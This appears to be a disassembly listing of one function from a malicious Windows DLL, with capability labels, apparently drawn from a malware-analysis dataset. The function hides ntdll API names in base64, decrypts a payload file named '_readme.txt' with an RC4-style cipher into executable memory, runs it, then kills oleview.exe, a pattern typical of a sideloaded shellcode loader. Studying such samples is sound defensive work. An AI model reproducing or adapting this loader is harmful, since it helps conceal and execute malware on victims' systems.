Function at 0x180001b80
Capabilities:
Enumerate processes
Get file size
Query environment variable
Read file on windows

Disassembly:
push rbp
push r15
lea rbp, [rsp - 0x6a8]
sub rsp, 0x7a8
xor edx, edx
lea rcx, [rbp + 0x340]
mov r8d, 0x104
call fcn.180004620
mov r8d, 0x104
lea rdx, [rbp + 0x340]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x340]
call fcn.180004194
lea rcx, [rbp + 0x340]
dec rcx
mov byte [rax], 0
nop word [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180001be0
mov eax, dword [0x18001ca80]
xor r15d, r15d
movsd xmm0, qword [str.oleview.exe]
xor r9d, r9d
movsd qword [rcx], xmm0
xor r8d, r8d
mov dword [rcx + 8], eax
mov edx, 0x80000000
movzx eax, byte [0x18001ca84]
mov byte [rcx + 0xc], al
lea rcx, [rbp + 0x340]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x7a0], rbx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x790], rdi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1800024b7
mov qword [rsp + 0x798], rsi
mov rcx, rax
mov qword [rsp + 0x788], r12
mov qword [rsp + 0x780], r13
mov qword [rsp + 0x778], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
lea ecx, [r15 + 0x30]
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
call fcn.1800026ec
movups xmm0, xmmword [str.JVN5c3RlbVJvb3QlXFxzeXN0ZW0zMlxcbnRkbGwuZGxs]
lea rdx, [rbp + 0x70]
mov qword [rbp + 0x80], 0x2c
mov qword [rbp + 0x88], 0x2f
movups xmmword [rax], xmm0
mov qword [rbp + 0x70], rax
movups xmm1, xmmword [0x18001ca98]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x18001caa8]
movsd qword [rax + 0x20], xmm0
mov ecx, dword [0x18001cab0]
mov dword [rax + 0x28], ecx
lea rcx, [rbp - 0x10]
mov byte [rax + 0x2c], r15b
call fcn.180001230
cmp qword [rbp + 8], 0x10
lea rcx, [rbp - 0x10]
mov r8d, 0x104
lea rdx, [0x180021d00]
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
movsd xmm0, qword [str.bnRkbGwuZGxs]
lea rdx, [rbp - 0x30]
mov eax, dword [0x18001cac0]
lea rcx, [rbp - 0x50]
movsd qword [rbp - 0x30], xmm0
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], 0xc
mov dword [rbp - 0x28], eax
mov byte [rbp - 0x24], r15b
call fcn.180001230
cmp qword [rbp - 0x38], 0x10
lea rsi, [rbp - 0x50]
lea ecx, [r15 + 0x30]
cmovae rsi, qword [rbp - 0x50]
call fcn.1800026ec
movups xmm0, xmmword [str.TnRBbGxvY2F0ZVZpcnR1YWxNZW1vcnk]
lea rdx, [rbp + 0x50]
mov qword [rbp + 0x60], 0x20
lea rcx, [rbp - 0x70]
mov qword [rbp + 0x68], 0x2f
movups xmmword [rax], xmm0
mov qword [rbp + 0x50], rax
movups xmm1, xmmword [0x18001cad8]
movups xmmword [rax + 0x10], xmm1
mov byte [rax + 0x20], r15b
call fcn.180001230
cmp qword [rbp - 0x58], 0x10
lea rdi, [rbp - 0x70]
lea ecx, [r15 + 0x20]
cmovae rdi, qword [rbp - 0x70]
call fcn.1800026ec
movups xmm0, xmmword [str.TnRXcml0ZVZpcnR1YWxNZW1vcnk]
mov qword [rbp + 0x40], 0x1c
lea rcx, [rsp + 0x70]
mov qword [rbp + 0x48], 0x1f
movups xmmword [rax], xmm0
mov qword [rbp + 0x30], rax
movsd xmm1, qword [0x18001cb00]
movsd qword [rax + 0x10], xmm1
mov edx, dword [0x18001cb08]
mov dword [rax + 0x18], edx
lea rdx, [rbp + 0x30]
mov byte [rax + 0x1c], r15b
call fcn.180001230
cmp qword [rbp - 0x78], 0x10
lea rbx, [rsp + 0x70]
lea ecx, [r15 + 0x20]
cmovae rbx, qword [rsp + 0x70]
call fcn.1800026ec
movups xmm0, xmmword [str.TnRDcmVhdGVUaHJlYWRFeA]
lea rdx, [rbp + 0x10]
mov qword [rbp + 0x20], 0x18
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x28], 0x1f
movups xmmword [rax], xmm0
mov qword [rbp + 0x10], rax
movsd xmm1, qword [0x18001cb20]
movsd qword [rax + 0x10], xmm1
mov byte [rax + 0x18], r15b
call fcn.180001230
cmp qword [rsp + 0x68], 0x10
lea r10, [rsp + 0x50]
mov rcx, rsi
cmovae r10, qword [rsp + 0x50]
call fcn.1800018c0
mov rcx, rdi
mov esi, eax
call fcn.1800018c0
mov rcx, rbx
mov r9d, eax
call fcn.1800018c0
mov rcx, r10
mov r14d, eax
call fcn.1800018c0
lea ebx, [r9 + rsi]
mov r13d, eax
mov ecx, ebx
call fcn.180001970
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x180001edd
lea rcx, [0x180021d00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, ebx
call fcn.180001970
mov qword [rsp + 0x48], rax
lea ebx, [r14 + rsi]
mov ecx, ebx
call fcn.180001970
mov r12, rax
test rax, rax
jne 0x180001f07
lea rcx, [0x180021d00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, ebx
call fcn.180001970
mov r12, rax
lea ecx, [rsi + r13]
call fcn.180001970
test rax, rax
jne 0x180001f22
lea rcx, [0x180021d00]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edx, edx
lea rcx, [rbp + 0x450]
mov r8d, 0x104
call fcn.180004620
mov r8d, 0x104
lea rdx, [rbp + 0x450]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rbp + 0x450]
call fcn.180004194
lea rcx, [rbp + 0x450]
dec rcx
mov byte [rax], r15b
nop dword [rax]
cmp byte [rcx + 1], r15b
lea rcx, [rcx + 1]
jne 0x180001f70
movsd xmm0, qword [str._readme.txt]
xor r9d, r9d
mov eax, dword [0x18001cb38]
mov edx, 0x10000000
movsd qword [rcx], xmm0
mov dword [rcx + 8], eax
lea rcx, [rbp + 0x450]
mov qword [rsp + 0x30], r15
lea r8d, [r9 + 1]
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
xor edx, edx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov r13d, eax
call fcn.180009080
lea r9, [rbp + 0x6c0]
mov qword [rsp + 0x20], r15
mov r8d, r13d
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, r13d
call fcn.180002adc
mov r14, rax
mov qword [rsp + 0x40], r13
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x40]
lea r8, [rbx + 0x80]
mov rdi, rax
mov qword [rbp + 0x6d8], r15
lea rax, [rbp + 0x6c8]
mov rcx, rdi
mov rdx, r14
mov qword [rsp + 0x20], rax
call r12
lea r9, [rsp + 0x40]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x6d8]
mov rcx, rdi
call qword [rsp + 0x48]
mov r9d, dword [rsp + 0x40]
lea rax, [rbp + 0x6d0]
mov rdx, qword [rbp + 0x6d8]
mov r8, r14
mov rcx, rdi
mov qword [rsp + 0x20], rax
call r12
mov ecx, 0xa
call fcn.180001aa0
mov edi, 0x100
lea rcx, [rbp + 0x210]
mov r8d, edi
xor edx, edx
mov ebx, r15d
call fcn.180004620
mov r8d, edi
lea rcx, [rbp + 0x110]
xor edx, edx
call fcn.180004620
mov r14, qword [rsp + 0x778]
mov edx, r15d
mov r12, qword [rsp + 0x788]
mov rsi, qword [rsp + 0x798]
nop dword [rax]
nop word [rax + rax]
mov ecx, edx
mov eax, edx
and eax, 0x7f
mov byte [rbp + rcx + 0x110], dl
inc edx
movzx eax, byte [rbp + rax + 0x90]
mov byte [rbp + rcx + 0x210], al
cmp edx, edi
jl 0x1800020e0
mov rdx, r15
movzx eax, byte [rbp + rdx + 0x210]
movzx r8d, byte [rbp + rdx + 0x110]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x18000212e
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rbp + 0x110]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rbp + rdx + 0x110], al
inc rdx
mov byte [rcx], r8b
sub rdi, 1
jne 0x180002106
lea ecx, [r13 - 0x80]
mov eax, r15d
mov r13, qword [rsp + 0x780]
mov r8d, r15d
test ecx, ecx
je 0x1800021e0
mov r9, qword [rbp + 0x6d8]
mov ebx, ecx
inc eax
and eax, 0x800000ff
jge 0x180002182
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r10, [rbp + 0x110]
add r10, rcx
movzx r11d, byte [r10]
add r8d, r11d
and r8d, 0x800000ff
jge 0x1800021ac
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rbp + 0x110]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r10], cl
mov byte [rdx], r11b
movzx ecx, byte [r10]
add ecx, r11d
movzx ecx, cl
movzx edx, byte [rbp + rcx + 0x110]
xor byte [r9], dl
inc r9
sub rbx, 1
jne 0x180002170
call qword [rbp + 0x6d8]
lea rcx, str.taskkill__f__im_oleview.exe
call fcn.180008f38
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18000222f
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000222a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp + 0x28]
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r15b
cmp rdx, 0x10
jb 0x18000227d
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002278
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1800022b9
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800022b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp + 0x48]
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r15b
cmp rdx, 0x10
jb 0x180002305
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002300
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180002340
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000233b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp + 0x68]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r15b
cmp rdx, 0x10
jb 0x18000238b
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002386
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1800023c6
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800023c1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp - 0x18]
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r15b
cmp rdx, 0x10
jb 0x180002411
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000240c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x18000244c
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002447
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdx, qword [rbp + 0x88]
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r15b
cmp rdx, 0x10
jb 0x18000249a
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002495
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000254e
call fcn.180002aa8
mov rdi, qword [rsp + 0x790]
xor eax, eax
mov rbx, qword [rsp + 0x7a0]
add rsp, 0x7a8
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
add eax, 0xfffffffe
cmp eax, 1
ja 0x1800024cf
mov ecx, 0x3e8
call fcn.180001aa0
xor edx, edx
lea rcx, [rbp + 0x560]
mov r8d, 0x104
call fcn.180004620
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea rcx, [rbp + 0x214]
mov r8d, 0x12c
mov edi, eax
call fcn.180004620
xor edx, edx
mov dword [rbp + 0x210], 0x130
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp + 0x210]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000255b
nop dword [rax + rax]
cmp dword [rbp + 0x218], edi
je 0x180002554
lea rdx, [rbp + 0x210]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x18000255b
jmp 0x180002530
call fcn.180008be8
int3
mov r15d, dword [rbp + 0x230]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r15d
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800025a9
mov r9d, 0x104
lea r8, [rbp + 0x560]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExA]
test eax, eax
jne 0x18000259e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800025af
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0x560]
call qword [sym.imp.SHLWAPI.dll_PathStripPathA]
xor ecx, ecx
call fcn.180008f2c
int3